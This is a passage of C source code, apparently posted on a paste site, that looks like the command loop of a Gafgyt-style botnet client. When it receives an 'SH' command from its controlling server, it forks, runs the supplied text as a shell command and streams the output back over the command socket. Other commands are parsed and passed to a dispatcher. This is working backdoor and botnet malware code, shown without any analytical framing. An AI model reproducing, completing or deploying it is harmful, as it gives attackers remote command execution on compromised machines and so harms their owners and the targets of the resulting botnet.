  3935. unsigned char *tmpcommand = command;
  3936.  
  3937. while(*tmpcommand) { *tmpcommand = toupper(*tmpcommand); tmpcommand++; }
  3938.  
  3939.  
  3940.  
  3941. if(strcmp(command, "SH") == 0)
  3942.  
  3943. {
  3944.  
  3945. unsigned char buf[1024];
  3946.  
  3947. int command;
  3948.  
  3949. if (listFork()) continue;
  3950.  
  3951. memset(buf, 0, 1024);
  3952.  
  3953. szprintf(buf, "%s 2>&1", message);
  3954.  
  3955. command = fdpopen(buf, "r");
  3956.  
  3957. while(fdgets(buf, 1024, command) != NULL)
  3958.  
  3959. {
  3960.  
  3961. trim(buf);
  3962.  
  3963. sockprintf(mainCommSock, "%s", buf);
  3964.  
  3965. memset(buf, 0, 1024);
  3966.  
  3967. sleep(1);
  3968.  
  3969. }
  3970.  
  3971. fdpclose(command);
  3972.  
  3973. exit(0);
  3974.  
  3975. }
  3976.  
  3977.  
  3978.  
  3979. unsigned char *params[10];
  3980.  
  3981. int paramsCount = 1;
  3982.  
  3983. unsigned char *pch = strtok(message, " ");
  3984.  
  3985. params[0] = command;
  3986.  
  3987.  
  3988.  
  3989. while(pch)
  3990.  
  3991. {
  3992.  
  3993. if(*pch != '\n')
  3994.  
  3995. {
  3996.  
  3997. params[paramsCount] = (unsigned char *)malloc(strlen(pch) + 1);
  3998.  
  3999. memset(params[paramsCount], 0, strlen(pch) + 1);
  4000.  
  4001. strcpy(params[paramsCount], pch);
  4002.  
  4003. paramsCount++;
  4004.  
  4005. }
  4006.  
  4007. pch = strtok(NULL, " ");
  4008.  
  4009. }
  4010.  
  4011.  
  4012.  
  4013. processCmd(paramsCount, params);
  4014.  
  4015.  
  4016.  
  4017. if(paramsCount > 1)
  4018.  
  4019. {
  4020.  
  4021. int q = 1;
  4022.  
  4023. for(q = 1; q < paramsCount; q++)
  4024.  
  4025. {
  4026.  
  4027. free(params[q]);
  4028.  
  4029. }
  4030.  
  4031. }
  4032.  
  4033. }
  4034.  
  4035. }
  4036.  
  4037. printf("Link closed by server.\n");
  4038.  
  4039. }
  4040.  
  4041.  
  4042.  
  4043. return 0; //This is the proper code
  4044.  
  4045.  
  4046.  
  4047. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement